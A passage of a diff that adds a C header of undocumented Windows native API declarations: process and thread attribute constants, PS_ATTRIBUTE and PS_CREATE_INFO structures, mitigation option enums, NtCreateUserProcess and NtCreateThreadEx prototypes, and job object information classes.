((_PROC_THREAD_ATTRIBUTE_NUM)10) // BaseGetConsoleReference (kernelbase.dll) +#define ProcThreadAttributeProtectionLevel ((_PROC_THREAD_ATTRIBUTE_NUM)11) // in ULONG +#define ProcThreadAttributeJobList ((_PROC_THREAD_ATTRIBUTE_NUM)13) // in HANDLE[] // since WIN10 +#define ProcThreadAttributeChildProcessPolicy ((_PROC_THREAD_ATTRIBUTE_NUM)14) // in ULONG +#define ProcThreadAttributeAllApplicationPackagesPolicy ((_PROC_THREAD_ATTRIBUTE_NUM)15) // in ULONG +#define ProcThreadAttributeWin32kFilter ((_PROC_THREAD_ATTRIBUTE_NUM)16) // in PROC_THREAD_WIN32KFILTER_ATTRIBUTE +#define ProcThreadAttributeSafeOpenPromptOriginClaim ((_PROC_THREAD_ATTRIBUTE_NUM)17) // since RS1 +#define ProcThreadAttributeDesktopAppPolicy ((_PROC_THREAD_ATTRIBUTE_NUM)18) // in ULONG // since RS2 +#define ProcThreadAttributeBnoIsolation ((_PROC_THREAD_ATTRIBUTE_NUM)19) // in PROC_THREAD_BNOISOLATION_ATTRIBUTE +#define ProcThreadAttributePseudoConsole ((_PROC_THREAD_ATTRIBUTE_NUM)22) // in HANDLE (HPCON) // since RS5 +#define ProcThreadAttributeMitigationAuditPolicy ((_PROC_THREAD_ATTRIBUTE_NUM)24) // in ULONG[] or ULONG64[] // since 20H1 +#define ProcThreadAttributeMachineType ((_PROC_THREAD_ATTRIBUTE_NUM)25) // in ULONG +#define ProcThreadAttributeComponentFilter ((_PROC_THREAD_ATTRIBUTE_NUM)26) // in ULONG +#define ProcThreadAttributeEnableOptionalXStateFeatures ((_PROC_THREAD_ATTRIBUTE_NUM)27) // in ULONG // since 20H2 +#endif // !_KERNEL_MODE + +#define PROC_EXTENDED_FLAG_LOG_ELEVATION_FAILURE 0x1 +#define PROC_EXTENDED_FLAG_IGNORE_ELEVATION 0x2 +#define PROC_EXTENDED_FLAG_FORCE_JOB_BREAKAWAY 0x4 // (requires SeTcbPrivilege) + +#define WIN32KFILTER_FLAG_ENABLE 0x1 +#define WIN32KFILTER_FLAG_AUDIT 0x2 + +typedef struct _PROC_THREAD_WIN32KFILTER_ATTRIBUTE +{ + ULONG Flags; + ULONG FilterLevel; +} PROC_THREAD_WIN32KFILTER_ATTRIBUTE, * PPROC_THREAD_WIN32KFILTER_ATTRIBUTE; + +typedef struct _PROC_THREAD_BNOISOLATION_ATTRIBUTE +{ + BOOL IsolationEnabled; + WCHAR IsolationPrefix[0x88]; +} PROC_THREAD_BNOISOLATION_ATTRIBUTE, * PPROC_THREAD_BNOISOLATION_ATTRIBUTE; + +#ifndef ProcThreadAttributeValue +#define ProcThreadAttributeValue(Number, Thread, Input, Additive) \ + (((Number) & PROC_THREAD_ATTRIBUTE_NUMBER) | \ + ((Thread != FALSE) ? PROC_THREAD_ATTRIBUTE_THREAD : 0) | \ + ((Input != FALSE) ? PROC_THREAD_ATTRIBUTE_INPUT : 0) | \ + ((Additive != FALSE) ? PROC_THREAD_ATTRIBUTE_ADDITIVE : 0)) +#endif + +#ifndef PROC_THREAD_ATTRIBUTE_PARENT_PROCESS +#define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS \ + ProcThreadAttributeValue (ProcThreadAttributeParentProcess, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_EXTENDED_FLAGS +#define PROC_THREAD_ATTRIBUTE_EXTENDED_FLAGS \ + ProcThreadAttributeValue (ProcThreadAttributeExtendedFlags, FALSE, TRUE, TRUE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_HANDLE_LIST +#define PROC_THREAD_ATTRIBUTE_HANDLE_LIST \ + ProcThreadAttributeValue (ProcThreadAttributeHandleList, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_GROUP_AFFINITY +#define PROC_THREAD_ATTRIBUTE_GROUP_AFFINITY \ + ProcThreadAttributeValue (ProcThreadAttributeGroupAffinity, TRUE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_PREFERRED_NODE +#define PROC_THREAD_ATTRIBUTE_PREFERRED_NODE \ + ProcThreadAttributeValue (ProcThreadAttributePreferredNode, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_IDEAL_PROCESSOR +#define PROC_THREAD_ATTRIBUTE_IDEAL_PROCESSOR \ + ProcThreadAttributeValue (ProcThreadAttributeIdealProcessor, TRUE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_UMS_THREAD +#define PROC_THREAD_ATTRIBUTE_UMS_THREAD \ + ProcThreadAttributeValue (ProcThreadAttributeUmsThread, TRUE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY +#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY \ + ProcThreadAttributeValue (ProcThreadAttributeMitigationPolicy, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES +#define PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES \ + ProcThreadAttributeValue (ProcThreadAttributeSecurityCapabilities, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_CONSOLE_REFERENCE +#define PROC_THREAD_ATTRIBUTE_CONSOLE_REFERENCE \ + ProcThreadAttributeValue (ProcThreadAttributeConsoleReference, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL +#define PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL \ + ProcThreadAttributeValue (ProcThreadAttributeProtectionLevel, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM +#define PROC_THREAD_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM \ + ProcThreadAttributeValue (ProcThreadAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_BNO_ISOLATION +#define PROC_THREAD_ATTRIBUTE_BNO_ISOLATION \ + ProcThreadAttributeValue (ProcThreadAttributeBnoIsolation, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE +#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \ + ProcThreadAttributeValue (ProcThreadAttributePseudoConsole, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_MACHINE_TYPE +#define PROC_THREAD_ATTRIBUTE_MACHINE_TYPE \ + ProcThreadAttributeValue (ProcThreadAttributeMachineType, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_ENABLE_OPTIONAL_XSTATE_FEATURES +#define PROC_THREAD_ATTRIBUTE_ENABLE_OPTIONAL_XSTATE_FEATURES \ + ProcThreadAttributeValue (ProcThreadAttributeEnableOptionalXStateFeatures, TRUE, TRUE, FALSE) +#endif + + +// private +typedef enum _PS_ATTRIBUTE_NUM +{ + PsAttributeParentProcess, // in HANDLE + PsAttributeDebugPort, // in HANDLE + PsAttributeToken, // in HANDLE + PsAttributeClientId, // out PCLIENT_ID + PsAttributeTebAddress, // out PTEB * + PsAttributeImageName, // in PWSTR + PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION + PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE + PsAttributePriorityClass, // in UCHAR + PsAttributeErrorMode, // in ULONG + PsAttributeStdHandleInfo, // 10, in PPS_STD_HANDLE_INFO + PsAttributeHandleList, // in PHANDLE + PsAttributeGroupAffinity, // in PGROUP_AFFINITY + PsAttributePreferredNode, // in PUSHORT + PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER + PsAttributeUmsThread, // ? in PUMS_CREATE_THREAD_ATTRIBUTES + PsAttributeMitigationOptions, // in UCHAR + PsAttributeProtectionLevel, // in ULONG + PsAttributeSecureProcess, // since THRESHOLD + PsAttributeJobList, + PsAttributeChildProcessPolicy, // since THRESHOLD2 + PsAttributeAllApplicationPackagesPolicy, // since REDSTONE + PsAttributeWin32kFilter, + PsAttributeSafeOpenPromptOriginClaim, + PsAttributeBnoIsolation, // PS_BNO_ISOLATION_PARAMETERS + PsAttributeDesktopAppPolicy, // in ULONG + PsAttributeChpe, // since REDSTONE3 + PsAttributeMitigationAuditOptions, // since 21H1 + PsAttributeMachineType, // since WIN11 + PsAttributeComponentFilter, + PsAttributeEnableOptionalXStateFeatures, + PsAttributeMax +} PS_ATTRIBUTE_NUM; + +// begin_rev + +#define PsAttributeValue(Number, Thread, Input, Additive) \ + (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ + ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ + ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ + ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0)) + +#define PS_ATTRIBUTE_PARENT_PROCESS \ + PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_DEBUG_PORT \ + PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_TOKEN \ + PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_CLIENT_ID \ + PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_TEB_ADDRESS \ + PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_IMAGE_NAME \ + PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IMAGE_INFO \ + PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE) +#define PS_ATTRIBUTE_MEMORY_RESERVE \ + PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_PRIORITY_CLASS \ + PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ERROR_MODE \ + PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_STD_HANDLE_INFO \ + PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_HANDLE_LIST \ + PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_GROUP_AFFINITY \ + PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_PREFERRED_NODE \ + PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IDEAL_PROCESSOR \ + PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_UMS_THREAD \ + PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_MITIGATION_OPTIONS \ + PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_PROTECTION_LEVEL \ + PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_SECURE_PROCESS \ + PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_JOB_LIST \ + PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY \ + PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY \ + PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_WIN32K_FILTER \ + PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM \ + PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_BNO_ISOLATION \ + PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_DESKTOP_APP_POLICY \ + PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE) + +// end_rev + +// begin_private + +typedef struct _PS_ATTRIBUTE +{ + ULONG_PTR Attribute; + SIZE_T Size; + union + { + ULONG_PTR Value; + PVOID ValuePtr; + }; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, * PPS_ATTRIBUTE; + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; +} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; + +typedef struct _PS_MEMORY_RESERVE +{ + PVOID ReserveAddress; + SIZE_T ReserveSize; +} PS_MEMORY_RESERVE, * PPS_MEMORY_RESERVE; + +typedef enum _PS_STD_HANDLE_STATE +{ + PsNeverDuplicate, + PsRequestDuplicate, // duplicate standard handles specified by PseudoHandleMask, and only if StdHandleSubsystemType matches the image subsystem + PsAlwaysDuplicate, // always duplicate standard handles + PsMaxStdHandleStates +} PS_STD_HANDLE_STATE; + +// begin_rev +#define PS_STD_INPUT_HANDLE 0x1 +#define PS_STD_OUTPUT_HANDLE 0x2 +#define PS_STD_ERROR_HANDLE 0x4 +// end_rev + +typedef struct _PS_STD_HANDLE_INFO +{ + union + { + ULONG Flags; + struct + { + ULONG StdHandleState : 2; // PS_STD_HANDLE_STATE + ULONG PseudoHandleMask : 3; // PS_STD_* + }; + }; + ULONG StdHandleSubsystemType; +} PS_STD_HANDLE_INFO, * PPS_STD_HANDLE_INFO; + +// private +typedef struct _PS_BNO_ISOLATION_PARAMETERS +{ + UNICODE_STRING IsolationPrefix; + ULONG HandleCount; + PVOID* Handles; + BOOLEAN IsolationEnabled; +} PS_BNO_ISOLATION_PARAMETERS, * PPS_BNO_ISOLATION_PARAMETERS; + +// private +typedef enum _PS_MITIGATION_OPTION +{ + PS_MITIGATION_OPTION_NX, + PS_MITIGATION_OPTION_SEHOP, + PS_MITIGATION_OPTION_FORCE_RELOCATE_IMAGES, + PS_MITIGATION_OPTION_HEAP_TERMINATE, + PS_MITIGATION_OPTION_BOTTOM_UP_ASLR, + PS_MITIGATION_OPTION_HIGH_ENTROPY_ASLR, + PS_MITIGATION_OPTION_STRICT_HANDLE_CHECKS, + PS_MITIGATION_OPTION_WIN32K_SYSTEM_CALL_DISABLE, + PS_MITIGATION_OPTION_EXTENSION_POINT_DISABLE, + PS_MITIGATION_OPTION_PROHIBIT_DYNAMIC_CODE, + PS_MITIGATION_OPTION_CONTROL_FLOW_GUARD, + PS_MITIGATION_OPTION_BLOCK_NON_MICROSOFT_BINARIES, + PS_MITIGATION_OPTION_FONT_DISABLE, + PS_MITIGATION_OPTION_IMAGE_LOAD_NO_REMOTE, + PS_MITIGATION_OPTION_IMAGE_LOAD_NO_LOW_LABEL, + PS_MITIGATION_OPTION_IMAGE_LOAD_PREFER_SYSTEM32, + PS_MITIGATION_OPTION_RETURN_FLOW_GUARD, + PS_MITIGATION_OPTION_LOADER_INTEGRITY_CONTINUITY, + PS_MITIGATION_OPTION_STRICT_CONTROL_FLOW_GUARD, + PS_MITIGATION_OPTION_RESTRICT_SET_THREAD_CONTEXT, + PS_MITIGATION_OPTION_ROP_STACKPIVOT, // since REDSTONE3 + PS_MITIGATION_OPTION_ROP_CALLER_CHECK, + PS_MITIGATION_OPTION_ROP_SIMEXEC, + PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER, + PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER_PLUS, + PS_MITIGATION_OPTION_RESTRICT_CHILD_PROCESS_CREATION, + PS_MITIGATION_OPTION_IMPORT_ADDRESS_FILTER, + PS_MITIGATION_OPTION_MODULE_TAMPERING_PROTECTION, + PS_MITIGATION_OPTION_RESTRICT_INDIRECT_BRANCH_PREDICTION, + PS_MITIGATION_OPTION_SPECULATIVE_STORE_BYPASS_DISABLE, // since REDSTONE5 + PS_MITIGATION_OPTION_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY, + PS_MITIGATION_OPTION_CET_USER_SHADOW_STACKS, + PS_MITIGATION_OPTION_USER_CET_SET_CONTEXT_IP_VALIDATION, // since 21H1 + PS_MITIGATION_OPTION_BLOCK_NON_CET_BINARIES, + PS_MITIGATION_OPTION_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY, + PS_MITIGATION_OPTION_REDIRECTION_TRUST, // since 22H1 +} PS_MITIGATION_OPTION; + +// windows-internals-book:"Chapter 5" +typedef enum _PS_CREATE_STATE +{ + PsCreateInitialState, + PsCreateFailOnFileOpen, + PsCreateFailOnSectionCreate, + PsCreateFailExeFormat, + PsCreateFailMachineMismatch, + PsCreateFailExeName, // Debugger specified + PsCreateSuccess, + PsCreateMaximumStates +} PS_CREATE_STATE; + +typedef struct _PS_CREATE_INFO +{ + SIZE_T Size; + PS_CREATE_STATE State; + union + { + // PsCreateInitialState + struct + { + union + { + ULONG InitFlags; + struct + { + UCHAR WriteOutputOnExit : 1; + UCHAR DetectManifest : 1; + UCHAR IFEOSkipDebugger : 1; + UCHAR IFEODoNotPropagateKeyState : 1; + UCHAR SpareBits1 : 4; + UCHAR SpareBits2 : 8; + USHORT ProhibitedImageCharacteristics : 16; + }; + }; + ACCESS_MASK AdditionalFileAccess; + } InitState; + + // PsCreateFailOnSectionCreate + struct + { + HANDLE FileHandle; + } FailSection; + + // PsCreateFailExeFormat + struct + { + USHORT DllCharacteristics; + } ExeFormat; + + // PsCreateFailExeName + struct + { + HANDLE IFEOKey; + } ExeName; + + // PsCreateSuccess + struct + { + union + { + ULONG OutputFlags; + struct + { + UCHAR ProtectedProcess : 1; + UCHAR AddressSpaceOverride : 1; + UCHAR DevOverrideEnabled : 1; // from Image File Execution Options + UCHAR ManifestDetected : 1; + UCHAR ProtectedProcessLight : 1; + UCHAR SpareBits1 : 3; + UCHAR SpareBits2 : 8; + USHORT SpareBits3 : 16; + }; + }; + HANDLE FileHandle; + HANDLE SectionHandle; + ULONGLONG UserProcessParametersNative; + ULONG UserProcessParametersWow64; + ULONG CurrentParameterFlags; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + ULONGLONG ManifestAddress; + ULONG ManifestSize; + } SuccessState; + }; +} PS_CREATE_INFO, * PPS_CREATE_INFO; + +// end_private + +// begin_rev +#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 +#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 +#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 +#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 +#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 +#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020 +// Extended PROCESS_CREATE_FLAGS_* +#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040 +#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 // ? +#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100 +#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200 +#define PROCESS_CREATE_FLAGS_EXTENDED_UNKNOWN 0x00000400 +// end_rev + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateUserProcess( + _Out_ PHANDLE ProcessHandle, + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK ProcessDesiredAccess, + _In_ ACCESS_MASK ThreadDesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, + _In_ ULONG ProcessFlags, // PROCESS_CREATE_FLAGS_* + _In_ ULONG ThreadFlags, // THREAD_CREATE_FLAGS_* + _In_opt_ PVOID ProcessParameters, // PRTL_USER_PROCESS_PARAMETERS + _Inout_ PPS_CREATE_INFO CreateInfo, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateUserProcess( + _Out_ PHANDLE ProcessHandle, + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK ProcessDesiredAccess, + _In_ ACCESS_MASK ThreadDesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, + _In_ ULONG ProcessFlags, // PROCESS_CREATE_FLAGS_* + _In_ ULONG ThreadFlags, // THREAD_CREATE_FLAGS_* + _In_opt_ PVOID ProcessParameters, // PRTL_USER_PROCESS_PARAMETERS + _Inout_ PPS_CREATE_INFO CreateInfo, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList +); +#endif + +// begin_rev +#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 +#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 // ? +#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 +#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESCRIPTOR 0x00000010 // ? +#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020 // ? +#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x00000040 // ? +#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 +// end_rev + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateThreadEx( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_ PVOID StartRoutine, // PUSER_THREAD_START_ROUTINE + _In_opt_ PVOID Argument, + _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_* + _In_ SIZE_T ZeroBits, + _In_ SIZE_T StackSize, + _In_ SIZE_T MaximumStackSize, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateThreadEx( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_ PVOID StartRoutine, // PUSER_THREAD_START_ROUTINE + _In_opt_ PVOID Argument, + _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_* + _In_ SIZE_T ZeroBits, + _In_ SIZE_T StackSize, + _In_ SIZE_T MaximumStackSize, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList +); +#endif + +// +// Job objects +// +#ifdef _KERNEL_MODE +typedef enum _JOBOBJECTINFOCLASS +{ + JobObjectBasicAccountingInformation, // JOBOBJECT_BASIC_ACCOUNTING_INFORMATION + JobObjectBasicLimitInformation, // JOBOBJECT_BASIC_LIMIT_INFORMATION + JobObjectBasicProcessIdList, // JOBOBJECT_BASIC_PROCESS_ID_LIST + JobObjectBasicUIRestrictions, // JOBOBJECT_BASIC_UI_RESTRICTIONS + JobObjectSecurityLimitInformation, // JOBOBJECT_SECURITY_LIMIT_INFORMATION + JobObjectEndOfJobTimeInformation = 6, // JOBOBJECT_END_OF_JOB_TIME_INFORMATION + JobObjectAssociateCompletionPortInformation, // JOBOBJECT_ASSOCIATE_COMPLETION_PORT + JobObjectBasicAndIoAccountingInformation, // JOBOBJECT_BASIC_AND_IO_ACCOUNTING_INFORMATION + JobObjectExtendedLimitInformation, // JOBOBJECT_EXTENDED_LIMIT_INFORMATION + JobObjectJobSetInformation, // JOBOBJECT_JOBSET_INFORMATION + JobObjectGroupInformation = 11, // USHORT + JobObjectNotificationLimitInformation, // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION + JobObjectLimitViolationInformation, // JOBOBJECT_LIMIT_VIOLATION_INFORMATION + JobObjectGroupInformationEx, // GROUP_AFFINITY (ARRAY) + JobObjectCpuRateControlInformation, // JOBOBJECT_CPU_RATE_CONTROL_INFORMATION + JobObjectCompletionFilter = 16, + JobObjectCompletionCounter, + JobObjectFreezeInformation, // JOBOBJECT_FREEZE_INFORMATION + JobObjectExtendedAccountingInformation, // JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION + JobObjectWakeInformation, // JOBOBJECT_WAKE_INFORMATION + JobObjectBackgroundInformation = 21, + JobObjectSchedulingRankBiasInformation, + JobObjectTimerVirtualizationInformation, + JobObjectCycleTimeNotification, + JobObjectClearEvent, + JobObjectInterferenceInformation = 26, // JOBOBJECT_INTERFERENCE_INFORMATION + JobObjectClearPeakJobMemoryUsed, + JobObjectMemoryUsageInformation, // JOBOBJECT_MEMORY_USAGE_INFORMATION // JOBOBJECT_MEMORY_USAGE_INFORMATION_V2 + JobObjectSharedCommit, + JobObjectContainerId, + JobObjectIoRateControlInformation = 31, + JobObjectNetRateControlInformation, // JOBOBJECT_NET_RATE_CONTROL_INFORMATION + JobObjectNotificationLimitInformation2, // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION_2 + JobObjectLimitViolationInformation2, // JOBOBJECT_LIMIT_VIOLATION_INFORMATION_2 + JobObjectCreateSilo, + JobObjectSiloBasicInformation = 36, // SILOOBJECT_BASIC_INFORMATION + JobObjectSiloRootDirectory, // SILOOBJECT_ROOT_DIRECTORY + JobObjectServerSiloBasicInformation, // SERVERSILO_BASIC_INFORMATION + JobObjectServerSiloUserSharedData, // SILO_USER_SHARED_DATA + JobObjectServerSiloInitialize, + JobObjectServerSiloRunningState = 41, + JobObjectIoAttribution, + JobObjectMemoryPartitionInformation, + JobObjectContainerTelemetryId, + JobObjectSiloSystemRoot, + JobObjectEnergyTrackingState = 46, // JOBOBJECT_ENERGY_TRACKING_STATE + JobObjectThreadImpersonationInformation, + JobObjectIoPriorityLimit, + JobObjectPagePriorityLimit, + MaxJobObjectInfoClass +}JOBOBJECTINFOCLASS; +#else +// Note: We don't use an enum since it conflicts with the Windows SDK. +#define JobObjectBasicAccountingInformation ((_JOBOBJECTINFOCLASS)1 )// JOBOBJECT_BASIC_ACCOUNTING_INFORMATION +#define JobObjectBasicLimitInformation ((_JOBOBJECTINFOCLASS)2 )// JOBOBJECT_BASIC_LIMIT_INFORMATION +#define JobObjectBasicProcessIdList ((_JOBOBJECTINFOCLASS)3 )// JOBOBJECT_BASIC_PROCESS_ID_LIST +#define JobObjectBasicUIRestrictions ((_JOBOBJECTINFOCLASS)4 )// JOBOBJECT_BASIC_UI_RESTRICTIONS +#define JobObjectSecurityLimitInformation ((_JOBOBJECTINFOCLASS)5 )// JOBOBJECT_SECURITY_LIMIT_INFORMATION +#define JobObjectEndOfJobTimeInformation ((_JOBOBJECTINFOCLASS)6 )// JOBOBJECT_END_OF_JOB_TIME_INFORMATION +#define JobObjectAssociateCompletionPortInformation ((_JOBOBJECTINFOCLASS)7 )// JOBOBJECT_ASSOCIATE_COMPLETION_PORT +#define JobObjectBasicAndIoAccountingInformation ((_JOBOBJECTINFOCLASS)8 )// JOBOBJECT_BASIC_AND_IO_ACCOUNTING_INFORMATION +#define JobObjectExtendedLimitInformation ((_JOBOBJECTINFOCLASS)9 )// JOBOBJECT_EXTENDED_LIMIT_INFORMATION +#define JobObjectJobSetInformation ((_JOBOBJECTINFOCLASS)10) // JOBOBJECT_JOBSET_INFORMATION +#define JobObjectGroupInformation ((_JOBOBJECTINFOCLASS)11) // USHORT +#define JobObjectNotificationLimitInformation ((_JOBOBJECTINFOCLASS)12) // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION +#define JobObjectLimitViolationInformation ((_JOBOBJECTINFOCLASS)13) // JOBOBJECT_LIMIT_VIOLATION_INFORMATION +#define JobObjectGroupInformationEx ((_JOBOBJECTINFOCLASS)14) // GROUP_AFFINITY (ARRAY) +#define JobObjectCpuRateControlInformation ((_JOBOBJECTINFOCLASS)15) // JOBOBJECT_CPU_RATE_CONTROL_INFORMATION +#define JobObjectCompletionFilter ((_JOBOBJECTINFOCLASS)16) +#define JobObjectCompletionCounter ((_JOBOBJECTINFOCLASS)17) +#define JobObjectFreezeInformation ((_JOBOBJECTINFOCLASS)18) // JOBOBJECT_FREEZE_INFORMATION +#define JobObjectExtendedAccountingInformation ((_JOBOBJECTINFOCLASS)19) // JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION +#define JobObjectWakeInformation ((_JOBOBJECTINFOCLASS)20) // JOBOBJECT_WAKE_INFORMATION +#define JobObjectBackgroundInformation ((_JOBOBJECTINFOCLASS)21) +#define JobObjectSchedulingRankBiasInformation ((_JOBOBJECTINFOCLASS)22) +#define JobObjectTimerVirtualizationInformation ((_JOBOBJECTINFOCLASS)23) +#define JobObjectCycleTimeNotification ((_JOBOBJECTINFOCLASS)24) +#define JobObjectClearEvent ((_JOBOBJECTINFOCLASS)25) +#define JobObjectInterferenceInformation ((_JOBOBJECTINFOCLASS)26) // JOBOBJECT_INTERFERENCE_INFORMATION +#define JobObjectClearPeakJobMemoryUsed ((_JOBOBJECTINFOCLASS)27) +#define JobObjectMemoryUsageInformation ((_JOBOBJECTINFOCLASS)28) // JOBOBJECT_MEMORY_USAGE_INFORMATION // 